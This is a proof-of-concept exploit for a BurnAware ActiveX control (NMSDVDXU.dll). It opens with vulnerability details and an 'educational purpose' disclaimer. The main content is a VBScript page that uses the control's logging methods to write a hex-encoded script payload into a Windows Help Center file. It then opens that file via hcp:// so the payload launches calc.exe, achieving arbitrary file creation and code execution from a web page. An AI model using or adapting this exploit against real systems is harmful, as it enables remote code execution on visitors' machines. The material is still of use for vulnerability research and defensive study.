-----------------------------------------------------------------------------
 BurnAware NMSDVDXU ActiveX Control Remote Arbitrary File Creation/Execution
 url: http://www.burnaware.com

 File:   NMSDVDXU.dll <= 1.0.0.13
 CLSID:  {0355854A-7F23-47E2-B7C3-97EE8DD42CD8}
 ProgID: NMSDVDX.DVDEngineX.1
 Descr.: DVDEngineX Class

 Marked as:
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller,data
 IPersist Safe: Safe for untrusted: caller,data
 IPStorage Safe: Safe for untrusted: caller,data

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7

 myMsinfo is just hexadecimal values of:

 <object classid='clsid:0355854A-7F23-47E2-B7C3-97EE8DD42CD8' id='compatUI'></object>
 <script language='vbscript'>
 compatUI.RunApplication 1, "calc.exe", 1
 </script>
-----------------------------------------------------------------------------
<object classid='clsid:C2FBBB5F-6FF7-4F6B-93A3-7EDB509AA938' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  myMsinfo = unescape("%3C%6F%62%6A%65%63%74%20%63%6C%61%73%73%69%64%3D") & _
             unescape("%27%63%6C%73%69%64%3A%30%33%35%35%38%35%34%41%2D") & _
             unescape("%37%46%32%33%2D%34%37%45%32%2D%42%37%43%33%2D%39") & _
             unescape("%37%45%45%38%44%44%34%32%43%44%38%27%20%69%64%3D") & _
             unescape("%27%63%6F%6D%70%61%74%55%49%27%3E%3C%2F%6F%62%6A") & _
             unescape("%65%63%74%3E%0D%0A%3C%73%63%72%69%70%74%20%6C%61") & _
             unescape("%6E%67%75%61%67%65%3D%27%76%62%73%63%72%69%70%74") & _
             unescape("%27%3E%0D%0A%63%6F%6D%70%61%74%55%49%2E%52%75%6E") & _
             unescape("%41%70%70%6C%69%63%61%74%69%6F%6E%20%31%2C%20%22") & _
             unescape("%63%61%6C%63%2E%65%78%65%22%2C%20%31%0D%0A%3C%2F") & _
             unescape("%73%63%72%69%70%74%3E")

  test.Initialize True
  test.EnableLog "C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System\\sysinfo\\msinfo.htm", True
  test.LogMessage myMsinfo

  window.location = "hcp://system/sysinfo/msinfo.htm"
 End Sub
</script>